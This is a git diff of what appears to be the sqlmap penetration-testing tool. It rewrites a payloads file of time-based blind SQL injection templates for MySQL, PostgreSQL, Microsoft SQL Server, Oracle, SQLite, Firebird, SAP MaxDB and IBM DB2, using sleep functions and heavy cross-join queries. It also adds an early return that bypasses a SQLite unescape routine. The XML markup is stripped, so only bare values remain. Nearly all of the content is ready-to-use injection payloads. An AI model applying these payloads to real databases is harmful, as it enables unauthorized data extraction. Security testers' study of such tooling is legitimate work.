diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py
index 9524100c0..35647ccd0 100644
--- a/plugins/dbms/sqlite/syntax.py
+++ b/plugins/dbms/sqlite/syntax.py
@@ -15,6 +15,8 @@ class Syntax(GenericSyntax):
@staticmethod
def unescape(expression, quote=True):
+ return expression
+
if isDBMSVersionAtLeast('3'):
if quote:
expression = expression.replace("'", "''")
diff --git a/xml/payloads.xml b/xml/payloads.xml
index ff129c8fb..34a0e8d8c 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -2837,63 +2837,6 @@ Formats:
-
- MySQL time-based blind - Parameter replace (MAKE_SET)
- 5
- 3
- 1
- 1,2,3
- 3
- MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))
-
- MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
-
-
-
-
-
- MySQL
-
-
-
-
- MySQL time-based blind - Parameter replace (ELT)
- 5
- 4
- 1
- 1,2,3
- 3
- ELT([INFERENCE],SLEEP([SLEEPTIME]))
-
- ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
-
-
-
-
-
- MySQL
-
-
-
-
- MySQL time-based blind - Parameter replace (bool*int)
- 5
- 4
- 1
- 1,2,3
- 3
- ([INFERENCE])*SLEEP([SLEEPTIME])
-
- ([RANDNUM]=[RANDNUM])*SLEEP([SLEEPTIME])
-
-
-
-
-
- MySQL
-
-
-
MySQL >= 5.0 time-based blind - Parameter replace
5
@@ -2933,21 +2876,97 @@ Formats:
-
- PostgreSQL time-based blind - Parameter replace (GENERATE_SERIES)
+ MySQL time-based blind - Parameter replace (bool*int)
5
- 3
- 2
+ 4
+ 1
1,2,3
3
- (SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([INFERENCE]) THEN 1 ELSE 0 END) LIMIT 1)
+ ([INFERENCE])*SLEEP([SLEEPTIME])
- (SELECT GENERATE_SERIES([ORIGVALUE],[ORIGVALUE],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) LIMIT 1)
+ ([RANDNUM]=[RANDNUM])*SLEEP([SLEEPTIME])
+
+ MySQL
+
+
+
+
+ MySQL time-based blind - Parameter replace (MAKE_SET)
+ 5
+ 5
+ 1
+ 1,2,3
+ 3
+ MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))
+
+ MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+
+
+
+
+
+ MySQL
+
+
+
+
+ MySQL time-based blind - Parameter replace (ELT)
+ 5
+ 5
+ 1
+ 1,2,3
+ 3
+ ELT([INFERENCE],SLEEP([SLEEPTIME]))
+
+ ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+
+
+
+
+
+ MySQL
+
+
+
+
+ PostgreSQL > 8.1 time-based blind - Parameter replace
+ 5
+ 3
+ 1
+ 1,2,3
+ 3
+ (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END)
+
+ (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
+
+
+
+
+
+ PostgreSQL
+ > 8.1
+
+
+
+
+ PostgreSQL time-based blind - Parameter replace (heavy query)
+ 5
+ 4
+ 2
+ 1,2,3
+ 3
+ (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END)
+
+ (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
+
+
+
+
PostgreSQL
@@ -2960,9 +2979,9 @@ Formats:
1
1,3
3
- (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
+ (SELECT (CASE WHEN ([INFERENCE]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END))
@@ -2974,6 +2993,27 @@ Formats:
+
+ Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)
+ 5
+ 4
+ 2
+ 1,3
+ 3
+ (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END))
+
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END))
+
+
+
+
+
+ Microsoft SQL Server
+ Sybase
+ Windows
+
+
+
Oracle time-based blind - Parameter replace
5
@@ -2981,9 +3021,9 @@ Formats:
1
1,3
3
- (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
+ (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)
- (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL)
@@ -2994,42 +3034,101 @@ Formats:
- Microsoft Access time-based blind - Parameter replace
+ Oracle time-based blind - Parameter replace (heavy queries)
5
- 3
- 1
+ 4
+ 2
1,3
3
- IIF([INFERENCE],[ORIGVALUE],1/0)
+ (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)
- IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)
+ (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL)
-
+
- Microsoft Access
+ Oracle
- SAP MaxDB time-based blind - Parameter replace
+ SQLite > 2.0 time-based blind - Parameter replace (heavy query)
5
- 3
- 1
- 1,3
+ 4
+ 2
+ 1,2,3
3
- (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END)
+ (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000))))) ELSE [RANDNUM] END))
- (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END)
+ (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]0000000)))))
-
+
+
+
+ SQLite
+ > 2.0
+
+
+
+
+ Firebird time-based blind - Parameter replace (heavy query)
+ 5
+ 5
+ 2
+ 1,2,3
+ 3
+ IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3),[RANDNUM])
+
+ (SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3)
+
+
+
+
+
+ Firebird
+ >= 2.0
+
+
+
+
+ SAP MaxDB time-based blind - Parameter replace (heavy query)
+ 5
+ 5
+ 2
+ 1,3
+ 3
+ (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1, (SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2, (SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3)
+
+ (SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1, DOMAIN.COLUMNS AS T2, DOMAIN.TABLES AS T3)
+
+
+
SAP MaxDB
+
+
+ IBM DB2 AND time-based blind (heavy query)
+ 5
+ 5
+ 2
+ 1,2,3
+ 3
+ (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE]))
+
+ (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3)
+
+
+
+
+
+ IBM DB2
+
+